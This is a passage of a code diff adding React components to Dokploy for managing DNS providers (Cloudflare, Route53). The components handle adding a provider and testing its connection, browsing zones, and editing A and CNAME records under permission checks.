|
||||||
|
const isValid = await form.trigger();
|
||||||
|
if (!isValid) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const data = form.getValues();
|
||||||
|
await testConnection({
|
||||||
|
config: buildConfig(data),
|
||||||
|
...(dnsProviderId && { dnsProviderId }),
|
||||||
|
})
|
||||||
|
.then(() => {
|
||||||
|
toast.success("Connection successful");
|
||||||
|
})
|
||||||
|
.catch((err) => {
|
||||||
|
toast.error("Connection failed", {
|
||||||
|
description: extractErrorMessage(err),
|
||||||
|
});
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
{dnsProviderId ? (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="group hover:bg-blue-500/10"
|
||||||
|
>
|
||||||
|
<PenBoxIcon className="size-4 text-primary group-hover:text-blue-500" />
|
||||||
|
</Button>
|
||||||
|
) : (
|
||||||
|
<Button className="cursor-pointer space-x-3">
|
||||||
|
<PlusIcon className="h-4 w-4" />
|
||||||
|
Add Provider
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="max-h-screen overflow-y-auto sm:max-w-lg">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>
|
||||||
|
{dnsProviderId ? "Update DNS Provider" : "Add DNS Provider"}
|
||||||
|
</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
Connect a DNS provider to create records for your domains
|
||||||
|
automatically instead of setting them up by hand.
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||||
|
<Form {...form}>
|
||||||
|
<form
|
||||||
|
onSubmit={form.handleSubmit(onSubmit)}
|
||||||
|
className="grid w-full gap-4"
|
||||||
|
>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="name"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Name</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input placeholder="prod-cloudflare" {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="providerType"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Provider</FormLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={field.onChange}
|
||||||
|
value={field.value}
|
||||||
|
disabled={!!dnsProviderId}
|
||||||
|
>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger>
|
||||||
|
<SelectValue placeholder="Select a provider" />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{Object.entries(providerLabels).map(([value, label]) => {
|
||||||
|
const ProviderIcon =
|
||||||
|
dnsProviderIcons[value as ProviderType];
|
||||||
|
return (
|
||||||
|
<SelectItem key={value} value={value}>
|
||||||
|
<div className="flex flex-row items-center gap-2">
|
||||||
|
<ProviderIcon className="size-4 shrink-0" />
|
||||||
|
{label}
|
||||||
|
</div>
|
||||||
|
</SelectItem>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{providerType === "cloudflare" && (
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="apiToken"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>API Token</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input type="password" {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormDescription>
|
||||||
|
Create a token scoped to Zone → DNS → Edit for the zones
|
||||||
|
you want Dokploy to manage. Avoid the Global API Key.
|
||||||
|
</FormDescription>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{providerType === "route53" && (
|
||||||
|
<>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="accessKeyId"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Access Key ID</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="secretAccessKey"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Secret Access Key</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input type="password" {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormDescription>
|
||||||
|
Use an IAM user/role scoped to{" "}
|
||||||
|
<code>route53:ListHostedZones</code>,{" "}
|
||||||
|
<code>route53:ListResourceRecordSets</code> and{" "}
|
||||||
|
<code>route53:ChangeResourceRecordSets</code> — avoid
|
||||||
|
root account credentials.
|
||||||
|
</FormDescription>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<DialogFooter className="flex w-full flex-row justify-between gap-2 sm:justify-between">
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="secondary"
|
||||||
|
isLoading={isTesting}
|
||||||
|
onClick={onTestConnection}
|
||||||
|
>
|
||||||
|
Test Connection
|
||||||
|
</Button>
|
||||||
|
<Button type="submit" isLoading={isPending}>
|
||||||
|
{dnsProviderId ? "Update" : "Create"}
|
||||||
|
</Button>
|
||||||
|
</DialogFooter>
|
||||||
|
</form>
|
||||||
|
</Form>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,271 @@
|
|||||||
|
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||||
|
import { PenBoxIcon, PlusIcon } from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { useForm } from "react-hook-form";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { z } from "zod";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogFooter,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import {
|
||||||
|
Form,
|
||||||
|
FormControl,
|
||||||
|
FormDescription,
|
||||||
|
FormField,
|
||||||
|
FormItem,
|
||||||
|
FormLabel,
|
||||||
|
FormMessage,
|
||||||
|
} from "@/components/ui/form";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
const DnsRecordSchema = z.object({
|
||||||
|
type: z.enum(["A", "CNAME"]),
|
||||||
|
name: z.string().min(1, { message: "Name is required" }),
|
||||||
|
content: z.string().min(1, { message: "Content is required" }),
|
||||||
|
ttl: z.string(),
|
||||||
|
});
|
||||||
|
|
||||||
|
type DnsRecordForm = z.infer<typeof DnsRecordSchema>;
|
||||||
|
|
||||||
|
interface DnsRecordValue {
|
||||||
|
id: string;
|
||||||
|
type: string;
|
||||||
|
name: string;
|
||||||
|
content: string;
|
||||||
|
ttl: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
dnsProviderId: string;
|
||||||
|
zoneId: string;
|
||||||
|
zoneName: string;
|
||||||
|
record?: DnsRecordValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const HandleDnsRecord = ({
|
||||||
|
dnsProviderId,
|
||||||
|
zoneId,
|
||||||
|
zoneName,
|
||||||
|
record,
|
||||||
|
}: Props) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
|
|
||||||
|
const { mutateAsync, isPending, error, isError } = record
|
||||||
|
? api.dnsProvider.updateRecord.useMutation()
|
||||||
|
: api.dnsProvider.createRecord.useMutation();
|
||||||
|
|
||||||
|
const { data: servers } = api.server.all.useQuery(undefined, {
|
||||||
|
enabled: isOpen,
|
||||||
|
});
|
||||||
|
const { data: panelPublicIp } = api.server.publicIp.useQuery(undefined, {
|
||||||
|
enabled: isOpen,
|
||||||
|
});
|
||||||
|
const { data: panelStoredIp } = api.settings.getIp.useQuery(undefined, {
|
||||||
|
enabled: isOpen,
|
||||||
|
});
|
||||||
|
|
||||||
|
const panelIp = panelPublicIp || panelStoredIp;
|
||||||
|
const ipSuggestions = [
|
||||||
|
...(panelIp ? [{ ip: panelIp, label: "This Dokploy server" }] : []),
|
||||||
|
...(servers ?? []).map((server) => ({
|
||||||
|
ip: server.ipAddress,
|
||||||
|
label: server.name,
|
||||||
|
})),
|
||||||
|
].filter(
|
||||||
|
(suggestion, index, all) =>
|
||||||
|
!!suggestion.ip && all.findIndex((s) => s.ip === suggestion.ip) === index,
|
||||||
|
);
|
||||||
|
|
||||||
|
const form = useForm<DnsRecordForm>({
|
||||||
|
defaultValues: record
|
||||||
|
? {
|
||||||
|
type: record.type === "CNAME" ? "CNAME" : "A",
|
||||||
|
name: record.name,
|
||||||
|
content: record.content,
|
||||||
|
ttl: record.ttl && record.ttl !== 1 ? String(record.ttl) : "",
|
||||||
|
}
|
||||||
|
: { type: "A", name: "", content: "", ttl: "" },
|
||||||
|
resolver: zodResolver(DnsRecordSchema),
|
||||||
|
});
|
||||||
|
|
||||||
|
const type = form.watch("type");
|
||||||
|
|
||||||
|
const onSubmit = async (data: DnsRecordForm) => {
|
||||||
|
const name = data.name.trim() === "@" ? zoneName : data.name;
|
||||||
|
const payload = {
|
||||||
|
dnsProviderId,
|
||||||
|
zoneId,
|
||||||
|
type: data.type,
|
||||||
|
name,
|
||||||
|
content: data.content,
|
||||||
|
ttl: data.ttl ? Number(data.ttl) : undefined,
|
||||||
|
...(record && { recordId: record.id }),
|
||||||
|
};
|
||||||
|
await mutateAsync(payload as any)
|
||||||
|
.then(() => {
|
||||||
|
toast.success(record ? "Record updated" : "Record created");
|
||||||
|
utils.dnsProvider.listRecords.invalidate({ dnsProviderId, zoneId });
|
||||||
|
setIsOpen(false);
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
{record ? (
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="group hover:bg-blue-500/10 size-6"
|
||||||
|
>
|
||||||
|
<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
|
||||||
|
</Button>
|
||||||
|
) : (
|
||||||
|
<Button variant="outline" size="sm">
|
||||||
|
<PlusIcon className="size-3.5 mr-1.5" />
|
||||||
|
Add Record
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-md">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>{record ? "Edit Record" : "Add Record"}</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
{record
|
||||||
|
? "Update this DNS record."
|
||||||
|
: "Create a new A or CNAME record in this zone."}
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||||
|
<Form {...form}>
|
||||||
|
<form
|
||||||
|
onSubmit={form.handleSubmit(onSubmit)}
|
||||||
|
className="grid w-full gap-4"
|
||||||
|
>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="type"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Type</FormLabel>
|
||||||
|
<Select onValueChange={field.onChange} value={field.value}>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger>
|
||||||
|
<SelectValue />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="A">A</SelectItem>
|
||||||
|
<SelectItem value="CNAME">CNAME</SelectItem>
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="name"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Name</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input placeholder="app.example.com" {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormDescription>
|
||||||
|
Use <code>@</code> for the root domain.
|
||||||
|
</FormDescription>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
{type === "A" && ipSuggestions.length > 0 && (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>Fill from server (optional)</FormLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={(ip) =>
|
||||||
|
form.setValue("content", ip, { shouldValidate: true })
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<FormControl>
|
||||||
|
<SelectTrigger>
|
||||||
|
<SelectValue placeholder="Select a server" />
|
||||||
|
</SelectTrigger>
|
||||||
|
</FormControl>
|
||||||
|
<SelectContent>
|
||||||
|
{ipSuggestions.map((suggestion) => (
|
||||||
|
<SelectItem key={suggestion.ip} value={suggestion.ip}>
|
||||||
|
<div className="flex flex-row items-center gap-2">
|
||||||
|
<span>{suggestion.label}</span>
|
||||||
|
<span className="text-xs text-muted-foreground">
|
||||||
|
{suggestion.ip}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="content"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>
|
||||||
|
{type === "A" ? "IPv4 Address" : "Target"}
|
||||||
|
</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input
|
||||||
|
placeholder={
|
||||||
|
type === "A" ? "203.0.113.10" : "app.example.com"
|
||||||
|
}
|
||||||
|
{...field}
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="ttl"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormLabel>TTL (optional)</FormLabel>
|
||||||
|
<FormControl>
|
||||||
|
<Input type="number" placeholder="Auto" {...field} />
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<DialogFooter>
|
||||||
|
<Button type="submit" isLoading={isPending}>
|
||||||
|
{record ? "Update" : "Create"}
|
||||||
|
</Button>
|
||||||
|
</DialogFooter>
|
||||||
|
</form>
|
||||||
|
</Form>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,218 @@
|
|||||||
|
import {
|
||||||
|
ChevronDown,
|
||||||
|
ChevronRight,
|
||||||
|
Globe,
|
||||||
|
Loader2,
|
||||||
|
Trash2,
|
||||||
|
} from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
import { HandleDnsRecord } from "./handle-dns-record";
|
||||||
|
|
||||||
|
interface ZoneRecordsProps {
|
||||||
|
dnsProviderId: string;
|
||||||
|
zoneId: string;
|
||||||
|
zoneName: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const ZoneRecords = ({ dnsProviderId, zoneId, zoneName }: ZoneRecordsProps) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const { data, isLoading, isError, error } =
|
||||||
|
api.dnsProvider.listRecords.useQuery({ dnsProviderId, zoneId });
|
||||||
|
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||||
|
const { mutateAsync: deleteRecord, isPending: isDeleting } =
|
||||||
|
api.dnsProvider.deleteRecord.useMutation();
|
||||||
|
|
||||||
|
const canWrite = !!permissions?.dnsProvider.update;
|
||||||
|
const canDelete = !!permissions?.dnsProvider.delete;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="flex flex-col gap-1 pl-8 pb-2 pr-3">
|
||||||
|
{isLoading && (
|
||||||
|
<div className="flex flex-row gap-2 items-center text-sm text-muted-foreground py-3">
|
||||||
|
<span>Loading records...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{isError && (
|
||||||
|
<p className="text-sm text-destructive py-2">{error?.message}</p>
|
||||||
|
)}
|
||||||
|
{data && data.length === 0 && (
|
||||||
|
<p className="text-sm text-muted-foreground py-2">
|
||||||
|
No records found in this zone.
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
{data?.map((record) => {
|
||||||
|
const isEditable = record.type === "A" || record.type === "CNAME";
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
key={record.id}
|
||||||
|
className="flex items-center gap-2 rounded-md border px-3 py-1.5 text-xs"
|
||||||
|
>
|
||||||
|
<Badge variant="outline" className="shrink-0">
|
||||||
|
{record.type}
|
||||||
|
</Badge>
|
||||||
|
<span className="font-medium truncate">{record.name}</span>
|
||||||
|
<span className="text-muted-foreground truncate flex-1">
|
||||||
|
→ {record.content}
|
||||||
|
</span>
|
||||||
|
{canWrite && isEditable && (
|
||||||
|
<HandleDnsRecord
|
||||||
|
dnsProviderId={dnsProviderId}
|
||||||
|
zoneId={zoneId}
|
||||||
|
zoneName={zoneName}
|
||||||
|
record={record}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
{canDelete && (
|
||||||
|
<DialogAction
|
||||||
|
title="Delete Record"
|
||||||
|
description={`Delete the ${record.type} record "${record.name}"? This removes it from the DNS provider, not just from Dokploy.`}
|
||||||
|
type="destructive"
|
||||||
|
onClick={async () => {
|
||||||
|
await deleteRecord({
|
||||||
|
dnsProviderId,
|
||||||
|
zoneId,
|
||||||
|
recordId: record.id,
|
||||||
|
})
|
||||||
|
.then(() => {
|
||||||
|
toast.success("Record deleted");
|
||||||
|
utils.dnsProvider.listRecords.invalidate({
|
||||||
|
dnsProviderId,
|
||||||
|
zoneId,
|
||||||
|
});
|
||||||
|
})
|
||||||
|
.catch(() => {
|
||||||
|
toast.error("Error deleting the record");
|
||||||
|
});
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="group hover:bg-red-500/10 size-6"
|
||||||
|
isLoading={isDeleting}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-3.5 text-primary group-hover:text-red-500" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
{canWrite && (
|
||||||
|
<div className="pt-1">
|
||||||
|
<HandleDnsRecord
|
||||||
|
dnsProviderId={dnsProviderId}
|
||||||
|
zoneId={zoneId}
|
||||||
|
zoneName={zoneName}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
dnsProviderId: string;
|
||||||
|
providerName: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const ShowDnsProviderZones = ({
|
||||||
|
dnsProviderId,
|
||||||
|
providerName,
|
||||||
|
}: Props) => {
|
||||||
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
|
const [expandedZoneId, setExpandedZoneId] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const { data, isLoading, isError, error } =
|
||||||
|
api.dnsProvider.listZones.useQuery({ dnsProviderId }, { enabled: isOpen });
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog
|
||||||
|
open={isOpen}
|
||||||
|
onOpenChange={(open) => {
|
||||||
|
setIsOpen(open);
|
||||||
|
if (!open) {
|
||||||
|
setExpandedZoneId(null);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<Button variant="outline" size="sm">
|
||||||
|
<Globe className="size-3.5 mr-1.5" />
|
||||||
|
View Domains
|
||||||
|
</Button>
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-lg">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>Domains for {providerName}</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
Zones this provider's API token can manage. Click a zone to see and
|
||||||
|
manage its records.
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
{isLoading && (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground py-6">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{isError && (
|
||||||
|
<p className="text-sm text-destructive py-2">{error?.message}</p>
|
||||||
|
)}
|
||||||
|
{data && data.length === 0 && (
|
||||||
|
<p className="text-sm text-muted-foreground py-2">
|
||||||
|
No zones found for this token. Make sure it has access to at least
|
||||||
|
one zone.
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
{data && data.length > 0 && (
|
||||||
|
<div className="flex flex-col gap-1.5 max-h-[60vh] overflow-y-auto">
|
||||||
|
{data.map((zone) => {
|
||||||
|
const isExpanded = expandedZoneId === zone.id;
|
||||||
|
return (
|
||||||
|
<div key={zone.id} className="rounded-md border">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="flex items-center gap-2 w-full px-3 py-2 text-sm text-left"
|
||||||
|
onClick={() =>
|
||||||
|
setExpandedZoneId(isExpanded ? null : zone.id)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{isExpanded ? (
|
||||||
|
<ChevronDown className="size-3.5 text-muted-foreground shrink-0" />
|
||||||
|
) : (
|
||||||
|
<ChevronRight className="size-3.5 text-muted-foreground shrink-0" />
|
||||||
|
)}
|
||||||
|
<Globe className="size-3.5 text-muted-foreground shrink-0" />
|
||||||
|
{zone.name}
|
||||||
|
</button>
|
||||||
|
{isExpanded && (
|
||||||
|
<ZoneRecords
|
||||||
|
dnsProviderId={dnsProviderId}
|
||||||
|
zoneId={zone.id}
|
||||||
|
zoneName={zone.name}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,145 @@
|
|||||||
|
import { Globe, Loader2, Trash2 } from "lucide-react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { dnsProviderIcons } from "@/components/icons/dns-provider-icons";
|
||||||
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Card,
|
||||||
|
CardContent,
|
||||||
|
CardDescription,
|
||||||
|
CardHeader,
|
||||||
|
CardTitle,
|
||||||
|
} from "@/components/ui/card";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
import { HandleDnsProvider } from "./handle-dns-provider";
|
||||||
|
import { ShowDnsProviderZones } from "./show-dns-provider-zones";
|
||||||
|
|
||||||
|
const providerLabels: Record<string, string> = {
|
||||||
|
cloudflare: "Cloudflare",
|
||||||
|
route53: "AWS Route53",
|
||||||
|
};
|
||||||
|
|
||||||
|
export const ShowDnsProviders = () => {
|
||||||
|
const { mutateAsync, isPending: isRemoving } =
|
||||||
|
api.dnsProvider.remove.useMutation();
|
||||||
|
const { data, isPending, refetch } = api.dnsProvider.all.useQuery();
|
||||||
|
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full">
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
|
||||||
|
<div className="rounded-xl bg-background shadow-md">
|
||||||
|
<CardHeader>
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<Globe className="size-6 text-muted-foreground self-center" />
|
||||||
|
DNS Providers
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Connect a DNS provider so Dokploy can create the A/CNAME record
|
||||||
|
for a domain instead of you setting it up by hand.
|
||||||
|
</CardDescription>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent className="space-y-2 py-8 border-t">
|
||||||
|
{isPending ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
{data?.length === 0 ? (
|
||||||
|
<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
|
||||||
|
<Globe className="size-8 self-center text-muted-foreground" />
|
||||||
|
<span className="text-base text-muted-foreground text-center">
|
||||||
|
You don't have any DNS providers configured
|
||||||
|
</span>
|
||||||
|
{permissions?.dnsProvider.create && <HandleDnsProvider />}
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex flex-col gap-4 min-h-[25vh]">
|
||||||
|
<div className="flex flex-col gap-4 rounded-lg">
|
||||||
|
{data?.map((provider) => {
|
||||||
|
const ProviderIcon =
|
||||||
|
dnsProviderIcons[provider.providerType];
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
key={provider.dnsProviderId}
|
||||||
|
className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg"
|
||||||
|
>
|
||||||
|
<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
|
||||||
|
<div className="flex flex-row items-center gap-3">
|
||||||
|
<ProviderIcon className="size-7 shrink-0" />
|
||||||
|
<div className="flex gap-2 flex-col">
|
||||||
|
<span className="text-sm font-medium">
|
||||||
|
{provider.name}
|
||||||
|
</span>
|
||||||
|
<Badge variant="outline">
|
||||||
|
{providerLabels[provider.providerType] ??
|
||||||
|
provider.providerType}
|
||||||
|
</Badge>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex flex-row gap-1">
|
||||||
|
<ShowDnsProviderZones
|
||||||
|
dnsProviderId={provider.dnsProviderId}
|
||||||
|
providerName={provider.name}
|
||||||
|
/>
|
||||||
|
{permissions?.dnsProvider.update && (
|
||||||
|
<HandleDnsProvider
|
||||||
|
dnsProviderId={provider.dnsProviderId}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
{permissions?.dnsProvider.delete && (
|
||||||
|
<DialogAction
|
||||||
|
title="Delete DNS Provider"
|
||||||
|
description="Domains that rely on this provider to manage their records will need to be updated manually. Are you sure?"
|
||||||
|
type="destructive"
|
||||||
|
onClick={async () => {
|
||||||
|
await mutateAsync({
|
||||||
|
dnsProviderId: provider.dnsProviderId,
|
||||||
|
})
|
||||||
|
.then(() => {
|
||||||
|
toast.success("DNS provider deleted");
|
||||||
|
refetch();
|
||||||
|
})
|
||||||
|
.catch(() => {
|
||||||
|
toast.error(
|
||||||
|
"Error deleting the DNS provider",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="group hover:bg-red-500/10"
|
||||||
|
isLoading={isRemoving}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{permissions?.dnsProvider.create && (
|
||||||
|
<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
|
||||||
|
